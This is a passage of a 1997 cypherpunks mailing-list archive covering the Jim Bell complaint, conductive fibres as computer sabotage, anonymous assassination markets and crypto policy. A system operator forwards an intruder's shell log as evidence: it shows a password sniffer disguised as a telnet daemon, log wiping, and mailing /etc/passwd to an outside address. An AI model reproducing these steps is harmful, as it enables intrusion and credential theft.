military spending, something flaunted openly). They clearly didn't want such
instrumentalities used by peace time forces and considering the
constitutional ban on using military forces inside the borders of the US it
seems clear they didn't want them used against the citizenry, period.

> The usual cited case is of private ownership of nuclear weapons.

You should read "Dad's Nuke".

> (The Founders didn't know about nuclear weapons and biological weapons,

At this time Simon De' Laplace was forming his first writings regarding how
the sun worked. It discussed gaseous compression and its 'lighting'. Just
about everything else in the paper was wrong.

Tell that to all the Indians they intentionaly killed with smallpox infected
blankets and their commen cold. While they did't didn't have a clue to the
actual process they were well aware of how to deal with the diseases.

I would say my experience is that the relative cluelessness held by the
users of their technology clearly matched those we now trust with it.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage at ssz.com






From ichudov at algebra.com  Fri May 23 19:22:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 10:22:44 +0800
Subject: carbon fibers
Message-ID: <199705240211.VAA10002@manifold.algebra.com>


Reading all the discussions about Jim Bell, I became interested in
the carbon fibers that Jim allegedly planned to use to disrupt the
work of compiters.

I would appreciate if anyone explained me how these fibers work, how
small and thin they are, and so on. I am also curious when and how this
use of these fibers was invented.

Thank you.

igor






From stewarts at ix.netcom.com  Fri May 23 19:29:57 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 24 May 1997 10:29:57 +0800
Subject: AP=MAFIA=CIA ?
In-Reply-To: <199705232040.NAA29081@fat.doobie.com>
Message-ID: <3.0.1.32.19970523181352.00759e34@popd.ix.netcom.com>


An anonymous person quoted a Nando.net news story
>   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
>   whose ground-breaking Mafia investigations led to his murder five
>   years ago.
....
> http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html

There are some similarities between Mafia and CIA assassinations and the
kinds of AP that will become possible with widespread truely anonymous
communications and payment mechanisms, but also a lot of differences.
First of all, very few people think Mafia assassinations are a good idea :-)
On the other hand, in both cases, some good guys will get unfairly murdered,
as well as bad guys, innocent bystanders, and clueless henchpersons,
and in both cases there will be a chilling effect on the target population.

Both systems depend on anonymity and webs of trust.  With remailers, 
you're trusting the remailer operator not to rat on you, but you can 
chain several independent remailers together and be fairly secure.  
With Mafia assassinations, Don Vito doesn't usually call a hit man directly 
- he expresses to one of his trusted lieutenants that Big Paul has been
a real irritant to him lately and that something substantial needs 
to be done about it.  And maybe the lieutenant arranges something himself, 
or maybe he talks to a guy who doesn't do "work", but has a friend who does.
You've got plausible deniability for the guys on top, and they've got 
really strong personal trust in the anonymity of their communications, 
because not only are there family relationships going back generations,
and a code of honor that says you don't rat on your friends,
but it's backed up by the fact that everybody you're dealing with 
knows your True Name and if you double-cross them your life won't
be worth the crabgrass growing on the unmarked graves where your
various body parts will end up when they're done with you :-)

One of the big differences is that the overhead required to maintain a
Mafia infrastructure is substantial - it's necessary for a high-class
full-time pre-information-age criminal organization to do something like that,
but it's also something that's mainly affordable only by mafias, governments,
and similar organizations that have lots of money and time to waste.
AP in a remailer environment needs perhaps less infrastructure,
and it's infrastructure that's worth developing anyway for other reasons -
but as a side effect it lets the ordinary person afford to have unpopular
people killed off just like the Big Players can.  It's still a government-like
activity, just more decentralized, and without the pretense of legitimacy.






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Fri May 23 19:36:41 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 10:36:41 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: 


At 9:13 PM -0400 5/23/97, John Young wrote:

>Time to study and ponder the 1st Amend -- which, by the way,
>Matt Blaze did at the NYC crypto forum last night to challenge
>Charney and Denning. Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

When I was in high school, about 30 years ago, much was made of a alleged
public opinion survey in which Americans on the street were asked what they
thought of a document they were shown.

According to the story, a majority thought the document was some kind of
leftist, communist, illegal propaganda.

Obviously you all know what document they were shown.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ravage at einstein.ssz.com  Fri May 23 19:39:37 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 10:39:37 +0800
Subject: Police & military access (fwd)
Message-ID: <199705240140.UAA21876@einstein.ssz.com>



Forwarded message:

> Date: Thu, 22 May 1997 23:23:31 -0700
> From: Kent Crispin 
> Subject: Re: Police & military access

> > Do police have any civil rights not endowed to a individual citizen?
> 
> No.  But on the job, doing their state assigned duties, they have
> access to instrumentalities not available to private citizens or
> off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
> in practice, but the principle is clear.  It isn't a big deal, and
> it's not a matter of civil rights.

Which principle is clear? That police like to confuse the issue as much as
possible to their advantage?

Of course it is a matter of civil rights. The police are a representative of
the CIVIL authorities, you have truly missed the entire point of the
constitution.

>  A license to practice medicine
> gives you the ability to prescribe morphine.  A certain class of
> drivers license lets you drive a school bus full of children. 

True, but there is NO law that can dictate which doctor I choose let alone
if I choose one at all. At least there I have a choice, because of this the
comparison you are trying to draw is broke.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Fri May 23 19:54:09 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 10:54:09 +0800
Subject: carbon fibers (fwd)
Message-ID: <199705240207.VAA22060@einstein.ssz.com>


Forwarded message:

> Subject: carbon fibers
> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
> From: ichudov at algebra.com (Igor Chudov @ home)

> Reading all the discussions about Jim Bell, I became interested in
> the carbon fibers that Jim allegedly planned to use to disrupt the
> work of compiters.
> 
> I would appreciate if anyone explained me how these fibers work, how
> small and thin they are, and so on. I am also curious when and how this
> use of these fibers was invented.

Carbon is commenly used in electronics because when compressed it generates
a small voltage, ala your phone receiver.

It can be both a insulator or a conductor depending on how one fills the
outer valence band. Because its 'natural' state is -4 (it has 8 positions
and only 4 are filled with electrons) it makes a fair conductor. Yet, it is
not listed in most Activity Series for metals. I believe the idea is that
since it is a reasonable conductor that when it falls across parallel lands
on the pcb of a cpu it will short the lines. This would not only affect the
reliability of the data because of current leakage but might in some cases
cause an actual failure because of incorrect voltage or current.

Some relevant physical data to consider: [1]

Data from the Periodic Table:

Carbon (C)
6/12.011
Valences     +2, +4, -4
2.62 g/cm^3 @ STP
M.P.  4100
B.P.  4470
Hexagonal crystal structure
Electronegativity 2.55 (metal)

(if anyone can find the conductivity I would appreciate it, it wasn't in
[1] or the CRC that I have)





[1] The Addison-Wesley Science Handbook: For scientists, writers, and
                                         science buffs
    G.J. Coleman, D. Dewar
    ISBN 0-201-76652-3

                                                     Jim Choate
                                                     CyberTects
                                                     ravage at ssz.com






From geeman at best.com  Fri May 23 21:02:59 1997
From: geeman at best.com (geeman)
Date: Sat, 24 May 1997 12:02:59 +0800
Subject: NYC Crypto Forum
Message-ID: <3.0.32.19970523202644.006bc41c@best.com>


At 01:40 PM 5/23/97 -0400, John Young wrote:
>Some highlights:
>
>David Kahn, in the audience, reaffirmed his support for
>key escrow, stating that it would not change the current
>legal provisions for electronically snooping, and why ask 
>for more privacy than is now authorized.

/\/\/\/\/\ Does anyone else see the horror in this? /\/\/\/\/\/\/\







From whgiii at amaranth.com  Fri May 23 21:08:43 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 24 May 1997 12:08:43 +0800
Subject: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: <199705240355.WAA08362@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705240207.VAA22060 at einstein.ssz.com>, on 05/23/97 
   at 08:07 PM, Jim Choate  said:

>> Subject: carbon fibers
>> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
>> From: ichudov at algebra.com (Igor Chudov @ home)

>> Reading all the discussions about Jim Bell, I became interested in
>> the carbon fibers that Jim allegedly planned to use to disrupt the
>> work of compiters.
>> 
>> I would appreciate if anyone explained me how these fibers work, how
>> small and thin they are, and so on. I am also curious when and how this
>> use of these fibers was invented.

>Carbon is commenly used in electronics because when compressed it
>generates a small voltage, ala your phone receiver.

>It can be both a insulator or a conductor depending on how one fills the
>outer valence band. Because its 'natural' state is -4 (it has 8 positions
>and only 4 are filled with electrons) it makes a fair conductor. Yet, it
>is not listed in most Activity Series for metals. I believe the idea is
>that since it is a reasonable conductor that when it falls across
>parallel lands on the pcb of a cpu it will short the lines. This would
>not only affect the reliability of the data because of current leakage
>but might in some cases cause an actual failure because of incorrect
>voltage or current.

In reading the complaint Jim was using a copper coated carbon fiber mesh
that was then to be processed (probably cut up and ground) into a fine
pouder so it could be delivered airborn. I think that the critical
ingrediant was the copper coating and not the carbon itself though it
should have an additive affect for the reasons mentioned above.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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From lharrison at mhv.net  Fri May 23 21:58:57 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sat, 24 May 1997 12:58:57 +0800
Subject: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970524004852.006eee08@pop.mhv.net>


-----BEGIN PGP SIGNED MESSAGE-----

At 06:58 PM 5/23/97 -0700, Tim May wrote:
>
>So, I think Bell is in serious trouble on several charges: the tax evasion
>charges, the SS number charges (which may be subsumed in the tax charges),
>and the "stink bomb" charges.
>
>The other various claims and charges in the complaint, things like the
>anti-government essays and the "assault" rifles found, don't seem likely to
>go anywhere.

Agreed.  As we all know, tax evasion charges have been used by the IRS when
the FBI has felt that it is unable to prove other charges.  Its use against
organized crime is a prime example.

While I do not practice in Fed'l courts, in state courts the specific statute
that a defendant is accused of violating must be cited.  Hence, since I am
not familiar with federal complaints, I did note with curiousity that Bell's
complaint specifically cites statutes that Bell allegedly violated regarding
the SS number charges and the failure to file income tax returns.  Perhaps,
the other acts, wherein no specific statutes are alleged to have been
violated, are mentioned as a means to make a showing that Bell is a danger to
the community and, therefore, a factor for asking the magistrate to set no
bail.

>Whether disappointingly or with relief, I noticed no mention of
>"Cypherpunks," a name which surely would have been scattered amongst the
>various documents on his computer.

I would be, however, very surprised if it was *not* "scattered amongst the
various documents on his computer."

>We'll see what comes up during the trial.

If there is one.  As you stated above and IMHO based upon what I have read,
the IRS has a strong case regarding the SS numbers/tax evasion charges.  This
matter may very well be resolved via a plea bargain.

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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From ravage at EINSTEIN.ssz.com  Fri May 23 22:18:03 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 13:18:03 +0800
Subject: System Attack & FBI (fwd)
Message-ID: <199705240433.XAA22417@einstein.ssz.com>


Hi,

For your amusement.

                                       Jim Choate
                                       CyberTects
                                       ravage at ssz.com


Forwarded message:
> From ravage at ssz.com Fri May 23 23:28:29 1997
> From: Jim Choate 
> Message-Id: <199705240428.XAA22380 at einstein.ssz.com>
> Subject: System Attack & FBI
> To: users at einstein.ssz.com
> Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> Cc: staff at einstein.ssz.com
> X-Mailer: ELM [version 2.4 PL23]
> Content-Type: text
> Content-Length: 7477      
> 
> 
> Hi,
> 
> As you will see below I have been tracking a waskelly wabbit for the last
> few weeks. I apologize for any interference with your access but I could
> not let it go without some sort of responce.
> 
> I *STRONGLY* advise you to change your password immediately.
> 
> I do not expect anyone other than myself to have to talk with the FBI.
> 
> If you have any questions please feel free to email me.
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage at ssz.com
> 
> 
> Forwarded message:
> 
> > From rberger at rberger.com Fri May 23 23:13:34 1997
> > Message-Id: <3.0.1.32.19970523234327.006eefec at rberger.com>
> > X-Sender: rberger at rberger.com
> > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > Date: Fri, 23 May 1997 23:43:27 -0500
> > To: Jim Choate 
> > From: rberger 
> > Subject: Re: You have a hacker!
> > In-Reply-To: <199705240343.WAA22299 at einstein.ssz.com>
> > Mime-Version: 1.0
> > Content-Type: text/plain; charset="us-ascii"
> > 
> > Thank you very much for sending us an e-mail and your logs.   We are going
> > through
> > our FTP logs at this time.   Although initial results don't show
> > corresponding ftps at these
> > times or files.     Although a week ago we were fighting a hacker using the
> > a same
> > techquies as shown by the telnet sessions.   So we will be monitoring
> > everything very
> > closely here for a few more days.  Our next search will be the accounts
> > logged in on
> > these ports at the times given.   We have been working with the FBI, along
> > with several
> > other ISP's in Dallas.   If you capture any other logs please send them
> > again to
> > root at applink.net.   If you dont hear anything from us in less than 24 hours
> > please re-send
> > your e-mail message again to my domain rberger at rberger.com just in case the
> > root e-mail/logs are being monitored & modified.
> > 
> > Regards,
> > 
> > Randall Berger,  CEO
> > AppLink Corporation
> >  
> > 
> > At 10:43 PM 5/23/97 -0500, you wrote:
> > >
> > >Hello,
> > >
> > > 
> > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > tracking an intrusion on my system that has involved your systems. I would
> > > appreciate any help you can provide in resolving this issue.
> > > 
> > > I believe a home account for the perp is dkny007 at hotmail.com
> > > 
> > > I will attach below the relevant files.
> > > 
> > > 
> > >                                                     Jim Choate
> > >                                                     CyberTects
> > >                                                     ravage at ssz.com
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > 
> > > wtmp begins Sun Feb  2 16:36 
> > > 
> > >  --------------------------------------------------------------------------
> > > 
> > > whoami
> > > ls
> > > mv perl-ex.sh /tmp/.bgg
> > > mkdir /tmp/.bg
> > > cd /tmp
> > > cd .bg
> > > ls
> > > lynx
> > > ls
> > > gcc linsniffer.c 
> > > ls
> > > ps
> > > who
> > > w
> > > ps aux
> > > a.out &
> > > ls
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > tail -f tcp.log 
> > > free
> > > ls
> > > cat tcp.log 
> > > cd ..
> > > ls
> > > w
> > > cd
> > > cd ..
> > > ls
> > > cd ..
> > > cd /etc
> > > ls
> > > minicom
> > > cd ..
> > > ls
> > > cd cdrom.
> > > cd cdrom
> > > ls
> > > cd ..
> > > cd
> > > ls
> > > cd bin
> > > ls
> > > cd ..
> > > cd ..
> > > ls
> > > w
> > > finger
> > > cd Pphantom
> > > cat /etc/passwd | grep Pphantom
> > > cd phantom
> > > ls
> > > ls -al
> > > cat .bash_history 
> > > cd /etc
> > > cat hosts
> > > ls
> > > cd /tmp
> > > cd .bg
> > > cat tcp.log 
> > > exit
> > > cd .bg
> > > ls
> > > w
> > > ls
> > > ls -al
> > > cat tcp.log 
> > > ifconfig
> > > /sbin/ifconfig
> > > ls
> > > exit
> > > mv x.sh /tmp
> > > cd .bg
> > > ls
> > > cd /tmp
> > > ls
> > > mv x.sh .bg
> > > cd .bg
> > > ls
> > > kill -9 14523
> > > ps aux
> > > mv a.out in.telnetd
> > > ls
> > > rm tcp.log 
> > > ./in.telnetd &
> > > exit
> > > pico tcp.log 
> > > ls
> > > ps aux
> > > kill -9 16282
> > > ls
> > > ./in.telnetd &
> > > exit
> > > cat /dev/null > tcp.log
> > > w
> > > exit
> > > pico tcp.log 
> > > ls
> > > ls -al
> > > cd /etc
> > > cat passwd
> > > mail dkny007 at hotmail.com < passwd
> > > exit
> > > w
> > > ls -al
> > > pico tcp.log 
> > > echo /dev/null > tcp.log 
> > > ls -al
> > > ps aux
> > > quit
> > > exit
> > > id
> > > w
> > > ftp 
> > > ls
> > > mkdir /home/ftp/.tmp
> > > mkdir /home/ftp/.tmp/.sub
> > > mv linsniff /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub/
> > > mv linsniff in.te1netd
> > > ls -l
> > > chmod 755 in.te1netd 
> > > in.te1netd &
> > > ps
> > > ps aux
> > > killall in.te1netd
> > > ls
> > > ls -a
> > > ls -l
> > > in.te1netd &
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > /home/ftp/.tmp/.sub/in.te1netd
> > > ls -s
> > > rm in.te1netd 
> > > cd
> > > ls
> > > mv hello .h311o
> > > ftp 
> > > ls
> > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > cd /home/ftp/.tmp/.sub
> > > ls
> > > cc linsniffer.c 
> > > mv a.out in.te1netd
> > > chmod 755 in.te1netd 
> > > ls
> > > rm linsniffer.c 
> > > in.te1netd &
> > > exit
> > > cd ..
> > > mv apache.tgz .bg
> > > cd .bg
> > > ls
> > > tar xfvz apache.tgz 
> > > cd apache_1.2b10/
> > > ls
> > > cd src
> > > make
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd cgi-bin/
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > w
> > > rm -rf apache*
> > > lynx
> > > ls
> > > tar xfvz apache_1.1.3.tar.gz 
> > > cd apache_1.1.3
> > > ls
> > > cd src
> > > ls
> > > ./Configure 
> > > make
> > > ls
> > > cd ..
> > > ls
> > > cd ..
> > > ls
> > > rm -rf apache_1.1.3
> > > ls
> > > rm -rf apache_1.1.3.tar.gz 
> > > w
> > > exit
> > > kill -9 14551
> > > ls
> > > ls -al
> > > cd ..
> > > ls
> > > cd /home
> > > ls
> > > cd ftp
> > > ls -al
> > > cd .tm[p
> > > cd .tmp/
> > > ls
> > > ls -al
> > > cd .sub/
> > > ls
> > > rm *
> > > cd ..
> > > cd ..
> > > rm -rf .tmp/
> > > ls
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd ssz
> > > ls
> > > cd ..
> > > ls
> > > cd pgp
> > > ls
> > > cd ..
> > > cd etc
> > > ls
> > > cd ..
> > > ls
> > > cd /
> > > ls
> > > exit
> > > id
> > > crontab -e
> > > ls
> > > vi .sub
> > > crontab -e
> > > ls
> > > cat /home/ftp/.tmp/.sub/tcp.log
> > > ps aux
> > > who
> > > cd /home/ftp
> > > ls -a
> > > mkdir .tmp/.sub
> > > mkdir .tmp
> > > cd .tmp
> > > exit
> > > cd
> > > ls
> > > cd /root
> > > ls
> > > cd khg-0.5/
> > > ls
> > > cd ..
> > > cat .bash_history 
> > > ls
> > > cd /etc
> > > ls
> > > cat hosts
> > > exit
> > > 
> > >
> > >
> > >
> > 
> 






From tcmay at got.net  Fri May 23 22:30:04 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 13:30:04 +0800
Subject: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: 


At 10:50 PM -0500 5/23/97, William H. Geiger III wrote:

>In reading the complaint Jim was using a copper coated carbon fiber mesh
>that was then to be processed (probably cut up and ground) into a fine
>pouder so it could be delivered airborn. I think that the critical
>ingrediant was the copper coating and not the carbon itself though it
>should have an additive affect for the reasons mentioned above.

???

Why make things so complicated? As I have been reading the articles and
complaints, it seeemed fairly clear that what was being talked about were
conductive fibers (I read the complaint as saying "nickel-coated," not
"copper-coated," but this is a minor point). Think: fibers like fiberglass
batting, except conductive rather than insulating.

(This is some of what the EE used on the Iraqi defense stations to disable
them.)

The whole idea of them being airborne suggests small fibers. Not powder, as
I visualize the plan.

Having said this, a lame idea. Maybe a single computer system would go
offline for some period...such outages happen all time anyway. Between
backups in other offices, in other buildings, etc., no lasting effect.

Further, I'm willing to bet the ventilation ducts do not enter directly
into "the computers." Between ordinary PCs and workstations, and even
VAXes, nearly all of them draw their cooling air from ordinary room air.

(My lab up near Portland,  coincidentally, had one of the first VAX
11/780s, surely larger (though not faster) than any 9-1-1 system now likely
to be installed...and it drew its cooling air from the surrounding room.)

The point being that airborne fibers would have a tortuous path to follow
from a rooftop duct down past the various filters (often HEPA) to get to
the inside computer rooms, and then past the foam filters typcally near the
box fans on PCs (or probably somewhat better filters on Suns and
workstations and Unisi.

In other words, pie in the sky for actually knocking out any service for a
significant amount of time and with any significant chance of success.

(I wouldn't be surprised if Jim didn't do some experiments on real
systems...that's what I'd do. Got to characterize the process before even
considering actual use. And if done properly, one might even be paid as a
consultant for doing such studies. Doesn't make one a criminal for buying
the raw materials, nor even for joking about it...especially given the
implausiblity of it actually working. Just idle speculation.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From Staff at ExposeInfidelity.com  Sat May 24 13:39:30 1997
From: Staff at ExposeInfidelity.com (Staff at ExposeInfidelity.com)
Date: Sat, 24 May 1997 13:39:30 -0700 (PDT)
Subject: "How to E-X-P-0-S-E Infidelity" . . .
Message-ID: <144523806421342786@ExposeInfidelity.com>


>From the offices of . . .

Virginia Claims Corporation
Statewide Claims Investigations
Workers' Compensation Specialists
11232 Midlothian Turnpike, Suite 220
Richmond, Va 23235-4714

Dear Friend:

Hi...my name is Britt Phillips. If you suspect infidelity, or know someone
who does . . .please take a couple of minutes to read this.

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From ichudov at algebra.com  Fri May 23 22:59:03 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 13:59:03 +0800
Subject: Too few cypherpunks nodes.
Message-ID: <199705240549.AAA11795@manifold.algebra.com>


Ladies and Gentlemen,

As the time goes on and I see what is happening inside and outside our
list, I am getting increasingly concerned about the small number of hosts
in the cypherpunks network.

Practically, most of the people use only two nodes, Kent's and mine, and
thanks to Jim, we have three operating ones. I do not believe that it is
good enough.

If anyone has any creative idea of how to get a couple more reliable
nodes, please share it.

igor






From 62376898 at compuserve.com  Sat May 24 13:59:29 1997
From: 62376898 at compuserve.com (62376898 at compuserve.com)
Date: Sat, 24 May 1997 13:59:29 -0700 (PDT)
Subject: Unbelievable !
Message-ID: <3218021673627.GAA08056@compuserve.com>




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From ichudov at algebra.com  Fri May 23 23:05:33 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 14:05:33 +0800
Subject: System Attack & FBI (fwd)
In-Reply-To: <199705240433.XAA22417@einstein.ssz.com>
Message-ID: <199705240556.AAA11857@manifold.algebra.com>


Jim,

I was almost in tears as I was reading your logs.

Instead of simply asking your users to change passwords (always a great 
idea!) please let them know that multiuser Unix systems never offer any
real security or privacy to the users.

I hope that the hacker did not leave any other trojans besides rogue Apache
and in.telnetd.

igor

Jim Choate wrote:
> 
> Hi,
> 
> For your amusement.
> 
>                                        Jim Choate
>                                        CyberTects
>                                        ravage at ssz.com
> 
> 
> Forwarded message:
> > From ravage at ssz.com Fri May 23 23:28:29 1997
> > From: Jim Choate 
> > Message-Id: <199705240428.XAA22380 at einstein.ssz.com>
> > Subject: System Attack & FBI
> > To: users at einstein.ssz.com
> > Date: Fri, 23 May 1997 23:28:27 -0500 (CDT)
> > Cc: staff at einstein.ssz.com
> > X-Mailer: ELM [version 2.4 PL23]
> > Content-Type: text
> > Content-Length: 7477      
> > 
> > 
> > Hi,
> > 
> > As you will see below I have been tracking a waskelly wabbit for the last
> > few weeks. I apologize for any interference with your access but I could
> > not let it go without some sort of responce.
> > 
> > I *STRONGLY* advise you to change your password immediately.
> > 
> > I do not expect anyone other than myself to have to talk with the FBI.
> > 
> > If you have any questions please feel free to email me.
> > 
> >                                                  Jim Choate
> >                                                  CyberTects
> >                                                  ravage at ssz.com
> > 
> > 
> > Forwarded message:
> > 
> > > From rberger at rberger.com Fri May 23 23:13:34 1997
> > > Message-Id: <3.0.1.32.19970523234327.006eefec at rberger.com>
> > > X-Sender: rberger at rberger.com
> > > X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
> > > Date: Fri, 23 May 1997 23:43:27 -0500
> > > To: Jim Choate 
> > > From: rberger 
> > > Subject: Re: You have a hacker!
> > > In-Reply-To: <199705240343.WAA22299 at einstein.ssz.com>
> > > Mime-Version: 1.0
> > > Content-Type: text/plain; charset="us-ascii"
> > > 
> > > Thank you very much for sending us an e-mail and your logs.   We are going
> > > through
> > > our FTP logs at this time.   Although initial results don't show
> > > corresponding ftps at these
> > > times or files.     Although a week ago we were fighting a hacker using the
> > > a same
> > > techquies as shown by the telnet sessions.   So we will be monitoring
> > > everything very
> > > closely here for a few more days.  Our next search will be the accounts
> > > logged in on
> > > these ports at the times given.   We have been working with the FBI, along
> > > with several
> > > other ISP's in Dallas.   If you capture any other logs please send them
> > > again to
> > > root at applink.net.   If you dont hear anything from us in less than 24 hours
> > > please re-send
> > > your e-mail message again to my domain rberger at rberger.com just in case the
> > > root e-mail/logs are being monitored & modified.
> > > 
> > > Regards,
> > > 
> > > Randall Berger,  CEO
> > > AppLink Corporation
> > >  
> > > 
> > > At 10:43 PM 5/23/97 -0500, you wrote:
> > > >
> > > >Hello,
> > > >
> > > > 
> > > > My name is Jim Choate, I own and operate CyberTects a small office - home
> > > > office consultancy in Austin, TX. Over the last couple of weeks I have been
> > > > tracking an intrusion on my system that has involved your systems. I would
> > > > appreciate any help you can provide in resolving this issue.
> > > > 
> > > > I believe a home account for the perp is dkny007 at hotmail.com
> > > > 
> > > > I will attach below the relevant files.
> > > > 
> > > > 
> > > >                                                     Jim Choate
> > > >                                                     CyberTects
> > > >                                                     ravage at ssz.com
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > > 
> > > > wtmp begins Sun Feb  2 16:36 
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > whoami
> > > > ls
